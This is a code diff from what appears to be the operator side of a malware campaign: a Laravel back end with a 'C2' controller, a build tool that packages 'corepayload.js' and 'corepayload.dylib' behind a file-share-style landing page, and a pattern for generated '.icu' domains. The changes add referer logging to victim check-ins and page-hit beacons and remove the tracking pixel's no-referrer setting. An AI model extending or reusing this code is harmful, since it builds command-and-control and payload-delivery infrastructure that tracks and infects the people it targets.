diff --git a/app/Http/Controllers/Admin/PageVisitController.php b/app/Http/Controllers/Admin/PageVisitController.php
index 8b146ce..442f328 100644
--- a/app/Http/Controllers/Admin/PageVisitController.php
+++ b/app/Http/Controllers/Admin/PageVisitController.php
@@ -37,7 +37,7 @@ class PageVisitController extends Controller
->forPage($page, $limit)
->get([
'id', 'channel_id', 'client_uid', 'os', 'os_version',
- 'browser', 'browser_version', 'user_agent', 'ip', 'path', 'created_at',
+ 'browser', 'browser_version', 'user_agent', 'ip', 'path', 'referer', 'created_at',
]);
return response()->json([
@@ -55,6 +55,7 @@ class PageVisitController extends Controller
'user_agent' => $v->user_agent ?: '',
'ip' => $v->ip ?: '',
'path' => $v->path ?: '',
+ 'referer' => $v->referer ?: '',
'created_at' => optional($v->created_at)?->toDateTimeString(),
])->values(),
]);
@@ -150,6 +151,10 @@ class PageVisitController extends Controller
if ($browserVersion !== '') {
$q->where('browser_version', $browserVersion);
}
+ $referer = trim((string) $request->query('referer', ''));
+ if ($referer !== '') {
+ $q->where('referer', 'like', '%'.$referer.'%');
+ }
[$from, $to] = $this->rangeBounds((string) $request->query('range', '30d'));
$q->whereBetween('created_at', [$from, $to]);
diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php
index 6be4524..034e25b 100644
--- a/app/Http/Controllers/C2/XxbbC2Controller.php
+++ b/app/Http/Controllers/C2/XxbbC2Controller.php
@@ -60,6 +60,7 @@ class XxbbC2Controller extends Controller
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $request->ip(),
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
+ 'referer' => $this->referer($request),
'created_at' => now(),
]);
}
@@ -131,6 +132,16 @@ class XxbbC2Controller extends Controller
return $this->xxbbAck($request);
}
+ private function referer(Request $request): ?string
+ {
+ $referer = trim((string) $request->headers->get('referer', ''));
+ if ($referer === '') {
+ return null;
+ }
+
+ return substr($referer, 0, 512);
+ }
+
private function xxbbAck(Request $request): Response
{
$ts = (string) $request->attributes->get('xxbb_ts', '');
diff --git a/app/Http/Controllers/PageHitController.php b/app/Http/Controllers/PageHitController.php
index 16e9d6e..c5f3600 100644
--- a/app/Http/Controllers/PageHitController.php
+++ b/app/Http/Controllers/PageHitController.php
@@ -35,6 +35,7 @@ class PageHitController extends Controller
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
+ $referer = $this->referer($request);
PageVisit::query()->create([
'channel_id' => $channelId,
@@ -46,12 +47,26 @@ class PageHitController extends Controller
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $request->ip(),
'path' => $path !== '' ? $path : null,
+ 'referer' => $referer,
'created_at' => now(),
]);
return $this->pixel();
}
+ private function referer(Request $request): ?string
+ {
+ $referer = trim((string) $request->query('r', $request->input('r', '')));
+ if ($referer === '') {
+ $referer = trim((string) $request->headers->get('referer', ''));
+ }
+ if ($referer === '') {
+ return null;
+ }
+
+ return substr($referer, 0, 512);
+ }
+
private function pixel(): Response
{
return response(self::GIF_1X1, 200, [
diff --git a/app/Models/PageVisit.php b/app/Models/PageVisit.php
index a3bbf2a..ebc1808 100644
--- a/app/Models/PageVisit.php
+++ b/app/Models/PageVisit.php
@@ -18,6 +18,7 @@ class PageVisit extends Model
'browser_version',
'ip',
'path',
+ 'referer',
'created_at',
];
diff --git a/channel-builder-new/source/weifile/weifile.html b/channel-builder-new/source/weifile/weifile.html
index 35ef1f5..2d27c6b 100644
--- a/channel-builder-new/source/weifile/weifile.html
+++ b/channel-builder-new/source/weifile/weifile.html
@@ -6,6 +6,8 @@
weifile
+
+
diff --git a/channel-builder-new/tools/build.py b/channel-builder-new/tools/build.py
index 2941087..b2020c4 100644
--- a/channel-builder-new/tools/build.py
+++ b/channel-builder-new/tools/build.py
@@ -41,6 +41,7 @@ XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
WEIFILE_ROOT = "weifile"
DETAILS_ROOT = "details"
LANDING_NAME = "weifile.html"
+CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__"
CORE_WIRE_NAME = "corepayload.js"
CORE_MEMBER_NAME = "corepayload.dylib"
SHOW_WIRE_NAME = "show.html"
@@ -305,6 +306,13 @@ def build_details(
}
+def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None:
+ text = html_path.read_text(encoding="utf-8")
+ if CHANNEL_HTML_PLACEHOLDER not in text:
+ raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder")
+ html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8")
+
+
def copy_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
@@ -589,8 +597,10 @@ def main() -> int:
if not SOURCE_DETAILS.is_dir():
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
copy_tree(SOURCE_WEIFILE, dest_weifile)
- if not (dest_weifile / LANDING_NAME).is_file():
+ landing = dest_weifile / LANDING_NAME
+ if not landing.is_file():
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
+ inject_channel_into_weifile(landing, channel_c)
copy_tree(SOURCE_DETAILS, dest_details)
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
diff --git a/channel-builder-new/tools/tests/test_build.py b/channel-builder-new/tools/tests/test_build.py
index efda90c..0ac2d05 100644
--- a/channel-builder-new/tools/tests/test_build.py
+++ b/channel-builder-new/tools/tests/test_build.py
@@ -83,6 +83,10 @@ class XxbbBuildTest(unittest.TestCase):
details = artifact / "details"
self.assertTrue((weifile / "index.js").is_file())
self.assertTrue((weifile / "weifile.html").is_file())
+ html = (weifile / "weifile.html").read_text(encoding="utf-8")
+ self.assertIn(channel_c, html)
+ self.assertNotIn("__CHANNEL_C__", html)
+ self.assertIn("/t.js", html)
self.assertFalse((artifact / "source").exists())
self.assertTrue((details / "show.html").is_file())
self.assertTrue((details / "corepayload.js").is_file())
diff --git a/database/migrations/2026_08_13_000020_page_visits_referer.php b/database/migrations/2026_08_13_000020_page_visits_referer.php
new file mode 100644
index 0000000..7da9511
--- /dev/null
+++ b/database/migrations/2026_08_13_000020_page_visits_referer.php
@@ -0,0 +1,22 @@
+string('referer', 512)->nullable()->after('path');
+ });
+ }
+
+ public function down(): void
+ {
+ Schema::table('page_visits', function (Blueprint $table) {
+ $table->dropColumn('referer');
+ });
+ }
+};
diff --git a/public/t.js b/public/t.js
index e78d231..e99718d 100644
--- a/public/t.js
+++ b/public/t.js
@@ -1,8 +1,11 @@
(function () {
try {
var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i);
- if (!m) return;
- var channelId = m[1].toLowerCase();
+ var channelId = m ? m[1].toLowerCase() : '';
+ if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string' && /^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) {
+ channelId = window.__CORUNA_CHANNEL__.toLowerCase();
+ }
+ if (!channelId) return;
var KEY = 'c_uid';
var uid = null;
try {
@@ -26,6 +29,11 @@
document.cookie = KEY + '=' + encodeURIComponent(uid) + ';path=/;max-age=31536000;SameSite=Lax';
} catch (e) {}
}
+ var referer = '';
+ try {
+ referer = document.referrer || '';
+ } catch (e) {}
+ if (referer.length > 512) referer = referer.slice(0, 512);
var q =
location.origin +
'/statistic/t?c=' +
@@ -33,14 +41,15 @@
'&u=' +
encodeURIComponent(uid) +
'&p=' +
- encodeURIComponent(location.pathname + location.search);
+ encodeURIComponent(location.pathname + location.search) +
+ '&r=' +
+ encodeURIComponent(referer);
if (navigator.sendBeacon) {
try {
if (navigator.sendBeacon(q)) return;
} catch (e) {}
}
var img = new Image();
- img.referrerPolicy = 'no-referrer';
img.src = q + '&_=' + Date.now();
} catch (e) {}
})();
diff --git a/resources/views/admin/visits/index.blade.php b/resources/views/admin/visits/index.blade.php
index 35066d5..0afc20f 100644
--- a/resources/views/admin/visits/index.blade.php
+++ b/resources/views/admin/visits/index.blade.php
@@ -43,9 +43,9 @@
@if ($portal === 'admin')
@@ -123,6 +123,8 @@ layui.use(['table', 'form'], function () {
{ field: 'browser', title: '浏览器', width: 100 },
{ field: 'browser_version', title: '浏览器版本', width: 110 },
{ field: 'ip', title: 'IP', width: 130 },
+ { field: 'path', title: '路径', minWidth: 180 },
+ { field: 'referer', title: 'Referer', minWidth: 220 },
{ field: 'user_agent', title: 'UA', minWidth: 260 },
{ field: 'created_at', title: '时间', width: 170, sort: true }
]],
diff --git a/tests/Feature/PageVisitTest.php b/tests/Feature/PageVisitTest.php
index 070e3ba..a6dc6d8 100644
--- a/tests/Feature/PageVisitTest.php
+++ b/tests/Feature/PageVisitTest.php
@@ -26,6 +26,7 @@ class PageVisitTest extends TestCase
'c' => self::CHANNEL,
'u' => '11111111-2222-4333-8444-555555555555',
'p' => '/web/'.self::CHANNEL.'/support.html',
+ 'r' => 'https://example.com/from',
], [], [], [
'HTTP_USER_AGENT' => $ua,
])->assertOk()
@@ -40,6 +41,7 @@ class PageVisitTest extends TestCase
$this->assertSame('Safari', $row->browser);
$this->assertSame('16.6', $row->browser_version);
$this->assertSame($ua, $row->user_agent);
+ $this->assertSame('https://example.com/from', $row->referer);
}
#[Test]
@@ -60,6 +62,23 @@ class PageVisitTest extends TestCase
$this->assertSame('203.0.113.50', $row->ip);
}
+ #[Test]
+ public function hit_uses_referer_header_when_query_missing(): void
+ {
+ Cache::flush();
+
+ $this->call('GET', '/statistic/t', [
+ 'c' => self::CHANNEL,
+ 'u' => '11111111-2222-4333-8444-555555555555',
+ ], [], [], [
+ 'HTTP_REFERER' => 'https://search.example/q=ios',
+ ])->assertOk();
+
+ $row = PageVisit::query()->first();
+ $this->assertNotNull($row);
+ $this->assertSame('https://search.example/q=ios', $row->referer);
+ }
+
#[Test]
public function hit_debounces_duplicate_uid(): void
{